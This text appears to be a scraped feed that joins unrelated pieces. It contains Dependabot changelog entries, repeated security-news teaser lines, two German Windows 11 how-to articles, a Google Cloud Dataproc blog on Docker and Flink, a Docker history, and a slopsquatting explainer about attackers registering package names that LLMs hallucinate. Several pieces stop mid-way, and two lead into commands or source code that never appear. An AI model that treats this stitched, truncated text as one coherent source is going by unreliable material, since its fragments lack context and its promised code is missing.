• Swift: SemVer-compliant version comparison and validation by @v-HaripriyaC in #15589
• Type git source details by @JamieMagee in #15593
• Expose typed git source details by @JamieMagee in #15594
• v0.387.0 by @dependabot-core-action-automation[bot] in #15604

New Contributors

• @RinseV made their first contribution in #15231

Full Changelog: v0.386.0...v0.387.0

Read more →

The post Telegram t.me links disrupted over sanctioned VPN appeared first on IT Security News.

The post Romania’s land registry hit by cyber attack, data allegedly for sale appeared first on Help Net Security.

Read more →

The post Romania’s land registry hit by cyber attack, data allegedly for sale appeared first on IT Security News.

Read more →

The post Microsoft makes Windows SSO prompts easier to manage appeared first on IT Security News.

The post Microsoft makes Windows SSO prompts easier to manage appeared first on Help Net Security.

Spend time performing forensic analysis on the Windows Operating System and you'll see a host of artifacts that can be used to identify adversary activity. From changes to the registry to the System Resource Utilization Monitor, Windows artifacts run deep. The challenge is locating, extracting, and parsing these artifacts in an efficient manner.

The post KAPE 101: A Kroll Artifact Parser and Extractor Cheatsheet appeared first on Black Hills Information Security, Inc..

Dieser Beitrag LegacyHive: Windows-Privilegieneskalation schon vor dem Patch greifbar erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

The post New LegacyHive Windows 0-day Vulnerability Allows Users to Load Another User’s Registry appeared first on Cyber Security News.

Read more →

The post IT Security News Hourly Summary 2026-07-14 15h : 5 posts appeared first on IT Security News.

Read more →

The post Telegram’s t.me Links Go Offline After Registry Places Domain on serverHold appeared first on IT Security News.

The post Telegram’s t.me domain suspended at the registry level, breaking links worldwide appeared first on CyberInsider.

The post Telegram t.me Domain Suspension Breaks Invite and Message Links Worldwide appeared first on Cyber Security News.

Read more →

The post Telegram’s t.me Domain Suspended, Breaking Invite and Channel Links Worldwide appeared first on IT Security News.

The post Telegram’s t.me Domain Suspended, Breaking Invite and Channel Links Worldwide appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Read more →

The post Telegram’s t.me Domain Suspended, ServerHold Status Breaks Links Worldwide appeared first on IT Security News.

The post Telegram’s t.me Domain Suspended, ServerHold Status Breaks Links Worldwide appeared first on Cyber Security News.

Read more →

The post Compromised Jscrambler npm Releases Target Developer Environments with Cross-Platform Rust Infostealer appeared first on IT Security News.

• Capture offending gem details on bundler registry metadata errors by @kbukum1 in #15512
• Bundler: apply empty-checksum metadata patch to the v2 helper by @kbukum1 in #15513
• [Update graph] Ensure bystander txt files are removed before parsing for Python by @brrygrdn in #15508
• Handle global.json with no SDK version in dotnet_sdk parser by @brettfo in #15510
• Type the cargo ecosystem and remove it from the T.untyped burndown by @JamieMagee in #15492
• Type the conda ecosystem and remove it from the T.untyped burndown by @JamieMagee in #15493
• Type the docker ecosystem and remove it from the T.untyped burndown by @JamieMagee in #15495
• Use shared git-tag cooldown in terraform by @robaiken in #15472
• Retry corepack once on signature metadata error by @thavaahariharangit with @Copilot in #15466
• Type the deno, elm, devcontainers, bazel, and helm ecosystems by @JamieMagee in #15527
• Add word-separator and lowercase formatting for branch name by @AbhishekBhaskar in #15478
• Fix Docker cooldown not respected for multi-arch images missing Last-Modified by @robaiken with @Copilot in #15486
• Reduce redundant git-source probes during npm metadata resolution by @thavaahariharangit with @Copilot in #15480
• Type the maven ecosystem and remove it from the T.untyped burndown by @JamieMagee in #15531
• Add branch name config template format support with validation by @AbhishekBhaskar in #15535
• fix(gradle): prefer local gradlew for lockfile updates by @thavaahariharangit in #15546
• helm: support versioning-strategy (range-preserving updates) by @casey-robertson-paypal in #15218
• Bump gradle from 9.4.1-jdk21-ubi to 9.6.1-jdk21-ubi in /gradle by @dependabot[bot] in #15498
• [Update graph] Add support for requirements.txt 'layering' instead of compressing to a single file by @brrygrdn in #15521
• Allow periods in Helm values file names for Docker ecosystem by @telnet23 in #15557
• Match existing group PRs covering a subset of job directories by @IanButterworth in #15548
• Bump library/golang from 1.26.1-bookworm to 1.26.5-bookworm in /go_modules by @dependabot[bot] in #15562
• Fix npm security updates for transitive dependencies in workspace monorepos by @Swampen in #15514
• Add helm to the smoke-test matrix by @casey-robertson-paypal in #15554
• v0.386.0 by @dependabot-core-action-automation[bot] in #15564

New Contributors

• @telnet23 made their first contribution in #15557
• @Swampen made their first contribution in #15514

Full Changelog: v0.385.0...v0.386.0

Ein neues Notebook fühlt sich an wie ein digitaler Neubeginn: schnell, sauber, bereit für alles. Doch bevor Sie mit dem neuen Gerät loslegen, empfehlen wir einen kurzen System-Check. Denn viele Geräte leiden ab Werk an unnötiger Software, suboptimalen Einstellungen und deaktivierten Sicherheitsfunktionen.

Wir zeigen Ihnen die 10 wichtigsten Schritte, die Sie direkt nach dem ersten Einschalten erledigen sollten – damit Ihr Windows-11-Notebook von Anfang an mit voller Leistung und bestmöglichem Schutz läuft.

1. Windows einrichten und Updates installieren

Der erste Start ist vielleicht der wichtigste. Nehmen Sie sich die paar Minuten und richten Sie Windows sorgfältig ein, das kann Ihnen später manchen Ärger ersparen. Nach der Anmeldung (egal ob mit Microsoft- oder lokalem Konto) sollten Sie sofort nach Updates suchen:

1. Öffnen Sie Einstellungen → Windows Update.
2. Klicken Sie auf „Nach Updates suchen“ und installieren Sie alles, was hier angeboten wird.
3. Starten Sie den Rechner neu – und wiederholen Sie den Vorgang, bis keine Updates mehr anstehen.

Viele neue Notebooks liegen vor dem Verkauf monatelang im Lager. Deswegen fehlen oft wichtige Sicherheits- und Treiber-Updates. Optional können Sie auf der Website Ihres Herstellers (zum Beispiel Lenovo, Dell, HP, Asus) zusätzlich nach aktuellen Treibern für Grafik, WLAN oder Chipsatz suchen. Das sorgt für mehr Stabilität und Performance.

Tipp: Wenn Windows Sie mit Forderungen oder Empfehlungen zum Microsoft-Konto nervt, Sie das aber nicht wollen, dann lesen Sie unseren Ratgeber Windows ohne Microsoft-Konto nutzen – so geht’s.

Sie überlegen, ein neues Notebook zu kaufen? Hier finden Sie unsere Laptop-Tests mit Kaufempfehlung für jeden Einsatzzweck. Notebooks für Schüler und Studenten stellen wir in diesem Beitrag vor. Und wenn Sie auf der Suche nach einem Schnäppchen sind, dann lesen Sie hier unsere Tests der besten Laptops unter 500 Euro.

2. Unnötige Software finden und deinstallieren

Foundry

Hersteller lieben es, Notebooks mit Testversionen, Tools und Mini-Games zu überfrachten – als Nutzer hat man für diese „Bloatware“ oft weniger Begeisterung. Solche überflüssigen Programme fressen Speicher, starten gerne im Hintergrund und können Ihr schönes neues System ausbremsen. Deshalb gilt: Am besten gleich am Anfang ausmisten.

So gehen Sie vor:

1. Öffnen Sie Einstellungen → Apps → Installierte Apps.
2. Sortieren Sie nach Installationsdatum oder Hersteller.
3. Deinstallieren Sie alles, was Sie nicht kennen oder brauchen (etwa „McAfee Trial“, „Candy Crush“, oder die „Booking.com-App“).

Tipp: Noch gründlicher klappt’s mit Tools wie Revo Uninstaller, das auch versteckte Reste in der Registry aufspüren kann. Profi-Tipps zur Tiefenreinigung finden Sie hier. Weitere Tipps zur Beschleunigung von Windows erklären wir in diesem Beitrag.

Übrigens: Sollten Sie Windows 11 Home im Einsatz haben, dann entgehen Ihnen die vielen Vorteile der Pro-Version, die wir Ihnen hier vorstellen. Im PC-WELT Software-Shop ist das Windows-11-Upgrade für günstige 59,99 Euro statt 145 Euro erhältlich.

3. Wichtige Programme und Tools installieren

Jetzt kommt der kreative Teil: Ihr Notebook bekommt seine persönliche Grundausstattung. Diese Software sollte auf keinem neuen Windows-11-Gerät fehlen:

• Browser: Chrome, Firefox oder Brave – je nach Geschmack. Gamer greifen zu Opera GX.
• Office-Suite: Microsoft 365, LibreOffice oder Google Docs.
• PDF-Tool: Adobe Acrobat Reader, SumatraPDF oder PDF24.
• Antivirus: Windows Defender ist solide, wer mehr Kontrolle will, installiert ein externes Tool. Hier finden Sie die aktuell besten Antivirus-Programme.
• Passwort-Manager: Bitwarden, 1Password oder KeePassXC. Mehr Auswahl gibt es hier: die besten Passwort-Manager.
• Cloud-Backup: Onedrive, Dropbox oder iDrive.

Tipp: Installieren Sie Ihre wichtigsten Programme gleich nach dem Update-Durchlauf. So haben Sie bei späteren Problemen einen klaren Systemstand, auf den Sie sich verlassen können. Mit Ninite können Sie übrigens mehrere Programme gleichzeitig installieren, ohne nervige Toolbars oder Zusatzsoftware.

4. Wichtige Windows-Einstellungen für Laptops

Foundry

Windows 11 bringt viele smarte Funktionen mit, die sind aber bei Weitem nicht alle optimal vorkonfiguriert. Ein paar Klicks in den Einstellungen machen den Alltag deutlich angenehmer (und sicherer):

• Datenschutz: Unter Einstellungen → Datenschutz und Sicherheit → Windows-Berechtigungen können Sie überflüssige Telemetrie, Werbung und Standortzugriffe abschalten.
• Windows Defender: Prüfen Sie unter Windows Sicherheit → Viren- und Bedrohungsschutz, ob der Echtzeitschutz aktiv ist.
• Onedrive-Sync: Falls Sie lokale Ordner bevorzugen, deaktivieren oder begrenzen Sie den automatischen Upload.
• Standard-Apps: Wählen Sie Ihre bevorzugten Programme für Browser, Mail und Fotos – sonst öffnet Windows gerne ungefragt Edge & Co. Die Einstellungen finden Sie unter „Standard-Apps“ (einfach ins Start-Fenster tippen). Über Einstellungen → Apps → Standard-Apps kommen Sie ebenfalls ans Ziel.

Tipp: Aktivieren Sie die Option „Dateiendungen anzeigen“ im Datei-Explorer. Das erleichtert das Erkennen verdächtiger Dateien und ist ein einfacher Schutz gegen Phishing und Schad-Software. Klicken Sie dazu in der Menüleiste auf Ansicht und setzen Sie ein Häkchen bei “Dateinamenerweiterungen”.

5. Touchpad, Tastatur und Funktionstasten konfigurieren

Gerade bei Laptops ist das Feintuning der Eingabegeräte Gold wert. Ein zu empfindliches Touchpad oder eine unpraktische FN-Belegung können schnell nerven und Arbeitsprozesse bremsen – solche Probleme sind aber schnell behoben.

• Touchpad-Gesten: Öffnen Sie Einstellungen → Bluetooth und Geräte → Touchpad. Hier können Sie Gesten für Scrollen, Zoomen und Desktop-Wechsel anpassen oder deaktivieren.
• Mausgeschwindigkeit: In denselben Einstellungen lässt sich die Zeigergeschwindigkeit anpassen („Cursergeschwindigkeit“).
• Funktionstasten: Viele Hersteller bieten Tools wie Asus Armoury Crate oder HP Command Center, um FN-Tasten zu konfigurieren. Prüfen Sie dort, ob Helligkeit, Lautstärke und Lüftersteuerung korrekt reagieren.

Tipp: Nutzen Sie Drei-Finger-Gesten für Multitasking. Damit können Sie blitzschnell zwischen Apps wechseln oder zum Desktop springen. Das spart Zeit im Alltag und erlaubt entspannteres Arbeiten.

6. Akku und Energieeinstellungen optimieren

Ein frischer Akku hält am Anfang lange durch – mit den richtigen Einstellungen läuft das neue Notebook aber noch effizienter. Windows 11 bietet mehrere Möglichkeiten, um Laufzeit, Performance und Stromverbrauch fein abzustimmen.

So holen Sie das Maximum heraus:

1. Öffnen Sie Einstellungen → System → Strom und Akku.
2. Unter Energiestatus wählen Sie, was Ihnen wichtiger ist: Beste Energieeffizienz, Ausbalanciert oder Beste Leistung.
3. Sie können die Bildschirmhelligkeit im Akkubetrieb um ein paar Stufen reduzieren – das bringt oft 30 bis 60 Minuten mehr Laufzeit.
4. Aktivieren Sie den Energiesparmodus, wenn der Akkustand unter 30 Prozent fällt.

Tipp für Technikfans: Erstellen Sie mit dem Befehl „powercfg /batteryreport“ im Terminal (Win + X → Terminal (Admin)) einen detaillierten Akkubericht. Der zeigt, wie oft Ihr Akku schon geladen wurde, welche Kapazität er noch hat und wann es Zeit für einen Austausch wird.

Um Ihren Akku dauerhaft zu schonen, empfehlen wir außerdem:

• Regelmäßige Zwischenladungen statt Dauerbetrieb am Netzteil.
• Keine dauerhafte 100-Prozent-Ladung, das stresst die Energiezellen.
• Bei längerer Nichtnutzung: Akku auf circa 50 Prozent laden und kühl lagern (aber nicht kalt).

7. Sicherheit und Datenschutz stärken

Thomas Joos

Sobald Ihr System läuft, sollten Sie den Sicherheitsgurt anlegen – sprich: die wichtigsten Schutzfunktionen aktivieren. Windows 11 bringt dafür schon alles mit, Sie müssen es nur einschalten oder prüfen.

Empfohlene Schritte:

1. Windows Hello aktivieren – unter Einstellungen → Konten → Anmeldeoptionen können Sie eine PIN, Fingerabdruck oder Gesichtserkennung einrichten.
2. Bitlocker oder Geräteverschlüsselung aktivieren – so sind Ihre Daten auch bei Diebstahl geschützt.
3. Firewall prüfen – die sollte immer aktiv sein.
4. WLAN-Sicherheit: Alte Netzwerke löschen, öffentliche Hotspots meiden oder per VPN absichern.

Tipp: Wenn Sie Windows 11 Pro nutzen (das Upgrade auf die Pro-Version bekommen Sie hier für nur 59,99 Euro), sollten Sie Bitlocker aktivieren. Das verschlüsselt die komplette Festplatte und lässt sich mit Ihrem Microsoft-Konto koppeln. Bei Geräten mit TPM 2.0 (Standard seit 2021) funktioniert das ganz automatisch. Wenn Sie maximale Kontrolle über Ihre Privatsphäre haben wollen: Tools wie O&O ShutUp10++ helfen, versteckte Telemetrie-Dienste mit einem Klick zu deaktivieren.

8. Backup und Wiederherstellung einrichten

Nichts ist ärgerlicher, als ein perfekt eingerichtetes System zu verlieren, weil ein Update dazwischenfunkt oder ein Virus zuschlägt. Darum unsere Empfehlung: gleich zu Beginn ein Gesamtbackup anlegen.

So geht’s:

1. Öffnen Sie Systemsteuerung → System und Sicherheit → Sichern und Wiederherstellen (Windows 7). Lassen Sie sich dabei nicht vom Begriff „Windows 7“ irritieren, das ist nur eine alte Bezeichnung, an der Microsoft festhält.
2. Wählen Sie „Systemabbild erstellen“ und speichern Sie es auf einer externen Festplatte.
3. Danach am besten gleich einen Wiederherstellungspunkt setzen. Tippen Sie dafür einfach „Wiederherstellungspunkt erstellen“ in die Suche.

Tipp: Alternativ können Sie auch Cloud-Dienste wie Onedrive oder Google Drive nutzen, um persönliche Dateien automatisch zu sichern. Wer es bequem mag und bereit ist, etwas Geld auszugeben, greift zu Tools wie Macrium Reflect oder Acronis True Image. Damit erstellen Sie komplette Abbilder und planen regelmäßige Backups automatisch.

9. Performance-Tuning und Komfortfunktionen

Ein paar schnelle Handgriffe machen Windows nicht nur schneller, sondern auch komfortabler.
Hier sind die besten Sofortmaßnahmen:

• Autostart-Programme reduzieren: Im Task-Manager (Strg + Shift + Esc → „Autostart“) deaktivieren Sie alles, was Sie nicht ständig benötigen.
• Speicheroptimierung aktivieren: Einstellungen → System → Speicher → „Speicheroptimierung“ einschalten. Windows löscht dann automatisch temporäre Dateien.
• Visuelle Effekte anpassen: „Erweiterte Systemeinstellungen“ in die Suche eingeben und über Erweitert → Leistung → Einstellungen die Funktion „Für optimale Leistung anpassen“ auswählen.
• Snap-Layouts und virtuelle Desktops nutzen: Mit Win + Z Fenster flexibel anordnen und mit Win + Tab zwischen Arbeitsflächen wechseln.

Tipp: Für Power-User lohnt sich ein Blick auf Powertoys. Das kostenlose Microsoft-Tool liefert Zusatzfunktionen wie Fenster-Snap, Tastenkürzel oder Farbpipette.

10. Bonus: Extras für Fortgeschrittene

Wenn Sie es ganz genau nehmen wollen, können Sie jetzt noch ein paar Feineinstellungen vornehmen, die oft nur erfahrene Nutzer kennen:

• BIOS/UEFI prüfen: Mit Entf oder F2 beim Start aufrufen. Dort können Sie Secure Boot, Bootreihenfolge oder Lüfterprofile anpassen.
• Hersteller-Tools checken: Programme wie My Asus, Lenovo Vantage oder HP Support Assistant liefern Firmware-Updates – entscheiden Sie selbst, welche Sie nutzen oder behalten möchten.
• Gaming-Optimierung: Bei Notebooks mit dedizierter GPU lohnt es sich, die Energieprofile in der Grafikkartensteuerung zu prüfen.
• Windows-Features deaktivieren: Systemsteuerung → Programme → Programme und Features → Windows-Features aktivieren oder deaktivieren – hier lassen sich unnötige Dienste wie „Internet Explorer 11“ oder „XPS-Dienste“ abschalten.

Fazit: Traumstart für Ihr neues Notebook

Ein neues Notebook ist wie ein leeres Notizbuch. Es lohnt sich, die ersten Seiten ordentlich zu gestalten. Mit diesen zehn Schritten sichern Sie sich Leistung, Datenschutz und Komfort von Anfang an. Nach der kurzen Einrichtung läuft Ihr Windows 11 dann so stabil, schnell und individuell, wie es sollte. Mit weniger Ballast und Neugier – dafür mit mehr Komfort und Sicherheit.

Extra-Tipp: Wenn Sie noch mehr aus Ihrem System herausholen wollen, lesen Sie auch: kostenlose Tipps, damit Ihr Windows-PC schneller läuft.

Read more →

The post FastNetMon eliminates third-party bgp lookups with Netomics appeared first on IT Security News.

The post FastNetMon eliminates third-party bgp lookups with Netomics appeared first on Help Net Security.

Windows 11 bringt mehrere KI-Funktionen mit, die sofort weiterhelfen. Live-Untertitel zeigen jeden Ton als Text, eine Echtzeit-Übersetzung läuft auf passender Hardware, und Recall durchsucht zurückliegende Bildschirminhalte. Manches steht jedem offen, anderes hängt am Gerät.

Microsoft verteilt die KI-Funktionen schrittweise und nach Hardware gestaffelt. Ältere Rechner erhalten die Grundfunktionen, neuere Geräte mit eigener KI-Einheit bekommen mehr. Nicht jedes System zeigt sofort alle Optionen, und mit jedem größeren Update kommt Weiteres hinzu. Mehrere Funktionen helfen schon heute im täglichen Einsatz, ohne dass Sie Zusatzsoftware installieren müssen. Die offizielle Anleitung zu den Live-Untertiteln stellt Microsoft auf seinen Support-Seiten bereit.

Live-Untertitel verwandeln jeden Ton in Text

Die Funktion fängt das Audiosignal Ihres Rechners ab, erkennt gesprochene Sprache und blendet sie als Text ein. Das funktioniert unabhängig von der App. Ob YouTube im Browser, eine Mediathek, ein Podcast, ein Hörbuch oder die Stimme des Gegenübers in einer Videokonferenz – der Text läuft mit. Der Rechner verarbeitet alles vor Ort. Nach dem einmaligen Download der Sprachdateien benötigen Sie keine Internetverbindung mehr, und nichts davon wandert in die Cloud.

Zum Einschalten genügt die Tastenkombination Windows + Strg + L. Alternativ klicken Sie sich über “Einstellungen” -> “Barrierefreiheit” -> “Untertitel” durch und stellen die Live-Untertitel auf Ein. Beim ersten Start lädt Windows die passenden Sprachpakete herunter, ein Vorgang von wenigen Sekunden. Deutsch steht für die reinen Untertitel zur Verfügung.

Thomas Joos

Über das Zahnrad im Untertitelfenster passen Sie Position, Schriftgröße und Farbe an. Sie verschieben den Textbereich an den oberen oder unteren Rand oder lassen ihn frei schweben. Auf Wunsch bezieht die Funktion auch das Mikrofon ein und verschriftlicht Ihre eigene Stimme, praktisch bei Diktaten oder Gesprächen vor Ort.

Ein Filter blendet Schimpfwörter aus. Mehrere Grenzen sollten Sie kennen. Das System erkennt nur menschliche Sprache, Liedtexte und Geräusche bleiben außen vor. Treffen Mikrofon- und Computerton zusammen, hat die Tonausgabe des Rechners Vorrang.

Übrigens: Sollten Sie Windows 11 Home im Einsatz haben, dann entgehen Ihnen die vielen Vorteile der Pro-Version, die wir Ihnen hier vorstellen. Im PC-WELT Software-Shop ist das Windows-11-Upgrade für günstige 59,99 Euro statt 145 Euro erhältlich.

Die Übersetzung hängt an der Hardware

Die Untertitel kann Windows auch übersetzen, doch dafür gelten engere Voraussetzungen. Nötig ist ein Copilot+ PC mit eigener KI-Einheit und mindestens Windows 11 in der Version 24H2. Auf solchen Geräten überträgt das System gesprochene Inhalte aus über 40 Sprachen ins Englische und aus 27 Sprachen ins vereinfachte Chinesisch, in Echtzeit und ohne Cloud.

Der praktische Nutzen hat enge Grenzen. Die Zielsprache lautet Englisch oder vereinfachtes Chinesisch. Ein fremdsprachiges Video holt das System ins Englische. Für eine deutsche Ausgabe greifen Sie zu anderen Mitteln, darunter die eigenen Untertitelfunktionen von YouTube oder Netflix oder eine Übersetzung im Browser. Auf Rechnern ohne Copilot+ Technik bleiben die Standarduntertitel verfügbar, die Übersetzung erfordert die neuere Hardware.

Microsoft hat auf der Entwicklerkonferenz Build 2026 angekündigt, die lokale Spracherkennung und Funktionen wie die Live-Untertitel künftig auch auf normalen Prozessoren und Grafikkarten laufen zu lassen. Die Bindung an spezielle KI-Chips lockert sich damit, Microsoft verteilt die Neuerungen schrittweise über kommende Updates. Wann genau welche Sprache und welches Gerät an der Reihe ist, hat Microsoft offengelassen.

Recall durchsucht alte Bildschirminhalte

Recall fertigt im Abstand weniger Sekunden Momentaufnahmen Ihres Bildschirms an, speichert sie verschlüsselt auf der Festplatte und macht sie durchsuchbar. Sie beschreiben mit eigenen Worten, was Sie gesehen haben, und das System liefert die passende Stelle zurück. Eine Webseite, ein Dokument oder eine App-Ansicht von gestern findet sich so wieder, auch ohne Dateinamen oder Verlauf.

Foundry

Der Vorteil zeigt sich bei häufiger Rücksuche. Suchen Sie oft nach früher gesehenen Inhalten, sparen Sie sich das mühsame Durchklicken von Ordnern und Browserverlauf. Bei seltener Nutzung bleibt der Gewinn gering, die offenen Datenschutzfragen bestehen weiter. Recall hält fest, was auf dem Schirm erscheint, darunter private Nachrichten, Bankdaten oder Gesundheitsinformationen. Ein Filter für sensible Inhalte greift, arbeitet aber nicht lückenlos. Deshalb sperren einzelne Programme, darunter Signal und der Brave-Browser, ihre Inhalte gegen die Aufnahme.

Mehrere Hürden schützen Sie vorab. Recall läuft nur auf Copilot+ PCs, setzt die Anmeldung über Windows Hello voraus und bleibt nach der Einrichtung ausgeschaltet. Erst Ihre bewusste Zustimmung startet die Aufnahmen. Pro Quartal beanspruchen die Momentaufnahmen bis zu 25 Gigabyte Speicher. Einzelne Apps und Webseiten können ausgeschlossen werden, Aufnahmen pausieren oder löschen.

Zum Abschalten öffnen Sie “Einstellungen” -> “Datenschutz und Sicherheit” -> “Recall und Snapshots” und stellen die Option zum Speichern der Aufnahmen auf Aus. Vorhandene Aufnahmen entfernen Sie an gleicher Stelle. Eine ausführliche Schritt-für-Schritt-Anleitung zum Deaktivieren und zum Löschen der Screenshots steht bereit.

Zur Prüfung per Programm steht das kostenlose Stop Recall von Ashampoo bereit. Das Tool kontrolliert den zuständigen Registry-Wert und schaltet die Funktion per Klick ab. Hilfreich ist das auch nach Updates, denn ein Update kann die Einstellung zurücksetzen. Microsoft beschreibt die Funktion und ihre Kontrollmöglichkeiten ebenfalls im eigenen Support.

Editor und Copilot erledigen kleine Aufgaben

Auch der schlichte Editor von Windows kann inzwischen KI-Funktionen nutzen. Die Schreibtools aktivieren Sie über das Zahnrad oben rechts, indem Sie in den Einstellungen ganz nach unten scrollen und die entsprechende Option einschalten. Anschließend markieren Sie einen Text, klicken mit der rechten Maustaste und lassen ihn zusammenfassen oder mithilfe vorgegebener Optionen umformulieren. Wenn Ihnen die Funktion nicht gefällt, können Sie sie an gleicher Stelle jederzeit wieder deaktivieren.

Der Copilot-Assistent beantwortet Fragen, formuliert Texte um und steuert auf Zuruf sogar Systemeinstellungen wie Bluetooth, die Bildschirmhelligkeit oder den Dunkelmodus. Starten lässt er sich über die Copilot-Taste auf neueren Tastaturen oder per Tastenkombination Windows + C. Viele Funktionen laufen dabei über die Cloud und erfordern ein Microsoft-Konto. Eine neue Suchfunktion namens „Ask Copilot“ soll mittelfristig die klassische Windows-Suche in der Taskleiste ersetzen, bleibt jedoch optional und wird nicht automatisch aktiviert.

Google Cloud’s Dataproc lets you run native Apache Spark and Hadoop clusters on Google Cloud in a simpler, more cost-effective way. In this blog, we will talk about our newest optional components available in Dataproc’s Component Exchange: Docker and Apache Flink.

Docker container on Dataproc

Docker is a widely used container technology. Since it’s now a Dataproc optional component, Docker daemons can now be installed on every node of the Dataproc cluster. This will give you the ability to install containerized applications and interact with Hadoop clusters easily on the cluster. 

In addition, Docker is also critical to supporting these features:

1. Running containers with YARN

2. Portable Apache Beam job

Running containers on YARN allows you to manage dependencies of your YARN application separately, and also allows you to create containerized services on YARN. Get more details here. Portable Apache Beam packages jobs into Docker containers and submits them the Flink cluster. Find more detail about Beam portability. 

Docker optional component is also configured to use Google Container Registry, in addition to the default Docker registry. This lets you use container images managed by your organization.

Here is how to create a Dataproc cluster with the Docker optional component:

gcloud beta dataproc clusters create <cluster-name> \
  --optional-components=DOCKER \
  --image-version=1.5

When you run the Docker application, the log will be streamed to Cloud Logging, using gcplogs driver.

If your application does not depend on any Hadoop services, check out Kubernetes and Google Kubernetes Engine to run containers natively. For more on using Dataproc, check out our documentation.

Apache Flink on Dataproc

Among streaming analytics technologies, Apache Beam and Apache Flink stand out. Apache Flink is a distributed processing engine using stateful computation. Apache Beam is a unified model for defining batch and steaming processing pipelines. Using Apache Flink as an execution engine, you can also run Apache Beam jobs on Dataproc, in addition to Google’s Cloud Dataflow service.

Flink and running Beam on Flink are suitable for large-scale, continuous jobs, and provide:

• A streaming-first runtime that supports both batch processing and data streaming programs

• A runtime that supports very high throughput and low event latency at the same time

• Fault-tolerance with exactly-once processing guarantees

• Natural back-pressure in streaming programs

• Custom memory management for efficient and robust switching between in-memory and out-of-core data processing algorithms

• Integration with YARN and other components of the Apache Hadoop ecosystem

Our Dataproc team here at Google Cloud recently announced that Flink Operator on Kubernetes is now available. It allows you to run Apache Flink jobs in Kubernetes, bringing the benefits of reducing platform dependency and producing better hardware efficiency. 

Basic Flink Concepts

A Flink cluster consists of a Flink JobManager and a set of Flink TaskManagers. Like similar roles in other distributed systems such as YARN, JobManager has responsibilities such as accepting jobs, managing resources and supervising jobs. TaskManagers are responsible for running the actual tasks. 

When running Flink on Dataproc, we use YARN as resource manager for Flink. You can run Flink jobs in 2 ways: job cluster and session cluster. For the job cluster, YARN will create JobManager and TaskManagers for the job and will destroy the cluster once the job is finished. For session clusters, YARN will create JobManager and a few TaskManagers.The cluster can serve multiple jobs until being shut down by the user.

How to create a cluster with Flink

Use this command to get started:

gcloud beta dataproc clusters create <cluster-name> \
  --optional-components=FLINK \
  --image-version=1.5

How to run a Flink job

After a Dataproc cluster with Flink starts, you can submit your Flink jobs to YARN directly using the Flink job cluster. After accepting the job, Flink will start a JobManager and slots for this job in YARN. The Flink job will be run in the YARN cluster until finished. The JobManager created will then be shut down. Job logs will be available in regular YARN logs. Try this command to run a word-counting example:

As developers we work on source code, but production systems don't run source, they need a runnable thing. Starting many years ago, most enterprises were using Java EE (aka J2EE) and the runnable "thing" we would deploy to production was a ".jar", ".war", or ".ear" file. Those files consisted of the compiled Java classes and would run inside of a "container" running on the JVM. As long as your class files were compatible with the JVM and container, the app would just work.

That all worked great until people started building non-JVM stuff: Ruby, Python, NodeJS, Go, etc. Now we needed another way to package up apps so they could be run on production systems. To do this we needed some kind of virtualization layer that would allow anything to be run. Heroku was one of the first to tackle this and they used a Linux virtualization system called "lxc" - short for Linux Containers. Running a "container" on lxc was half of the puzzle because still a "container" needed to be created from source code, so Heroku invented what they called "Buildpacks" to create a standard way to convert source into a container.

A bit later a Heroku competitor named dotCloud was trying to tackle similar problems and went a different route which ultimately led to Docker, a standard way to create and run containers across platforms including Windows, Mac, Linux, Kubernetes, and Google Cloud Run. Ultimately the container specification behind Docker became a standard under the Open Container Initiative (OCI) and the virtualization layer switched from lxc to runc (also an OCI project).

The traditional way to build a Docker container is built into the docker tool and uses a sequence of special instructions usually in a file named Dockerfile to compile the source code and assemble the "layers" of a container image.

Yeah, this is confusing because we have all sorts of different "containers" and ways to run stuff in those containers. And there are also many ways to create the things that run in containers. The bit of history is important because it helps us categorize all of this into three parts:

• Container Builders - Turn source code into a Container Image
• Container Images - Archive files containing a "runnable" application
• Containers - Run Container Images

With Java EE those three categories map to technologies like:

• Container Builders == Ant or Maven
• Container Images == .jar, .war, or .ear
• Containers == JBoss, WebSphere, WebLogic

With Docker / OCI those three categories map to technologies like:

• Container Builders == Dockerfile, Buildpacks, or Jib
• Container Images == .tar files usually not dealt with directly but through a "container registry"
• Containers == Docker, Kubernetes, Cloud Run

Java Sample Application

git clone https://github.com/jamesward/comparing-docker-methods.git

cd comparing-docker-methods

In that project you'll see a basic Java web server in src/main/java/com/google/WebApp.java that just responds with "hello, world" on a GET request to /. Here is the source:

Understanding what slopsquatting is

Slopsquatting is a new type of supply chain attack that uses large language model (LLM) hallucinations to inject malicious code into development workflows. The term combines "AI slop" and "typosquatting," a deceptive practice where attackers register misspelled or lookalike versions of popular domains to prey on users who enter URLs incorrectly.

This novel attack vector exploits LLMs' tendency to generate fictitious software package names, which threat actors can then register and populate with malicious code.

During AI-assisted coding, the model may generate fake open-source packages — bundled collections of files, programs and installation tools. This alone is not necessarily harmful. However, if an attacker registers that fake package name, they can inject malware that gets incorporated directly into a developer's codebase.

How AI creates a supply chain risk

Traditionally, AI safety risks stem from hallucinations, which can adversely affect users who treat misinformation as valid. However, those same hallucinations have evolved into exploitable security vulnerabilities.

Typosquatting is a deceptive practice where a cybercriminal registers a mispelled version of a popular package to trick developers. It has existed for decades, so registries have built protections against it. 

However, AI has changed the threat model. It recommends fictitious packages that sound plausible rather than making simple misspellings. Once attackers learn which hallucinated packages models tend to invent, they can register malware-filled packages under those names.

Since the hallucinated packages are not simply typoed versions of popular libraries, there are no protections against this practice at scale. For example, the registry protects against an attacker publishing "crossenv," a squat of the popular "cross-env" package. However, it would not identify "mpn install cross-env file" or "cross-env-extended" as threats.

Hallucinations are persistent and severe

Even if many LLMs recommend the same hallucinated package, widespread compromise is still possible. Malicious packages could remain undetected in production for months or even years, allowing threat actors to passively inject malware across countless environments. 

One research team analyzed 31,267 vulnerabilities belonging to 14,675 packages across 10 programming languages. They discovered that reported vulnerabilities are increasing at an annual rate of 98%, faster growth than the 25% annual increase in the number of open-source software packages. The team also observed an 85% increase in the average lifespan of vulnerabilities, indicating a decline in security.

Real-world dangers of AI hallucinations

Malicious actors can create open-access packages under the same name as commonly hallucinated libraries. Instead of standard code, they are filled with malware. The models believe they are referring to existing packages, so they often repeat the same hallucinated names. Since the hallucinations are not random, attackers could theoretically register packages that trick tens of thousands of developers.

These packages appear legitimate. String similarity to real libraries makes them recognizable. One-character typos suggest simple mistakes rather than malicious intent. Even fully fabricated names remain believable when the AI presents them in proper context. Detection is challenging, as developers trust their coding assistants to recommend valid dependencies.

Why are LLMs hallucinating packages?

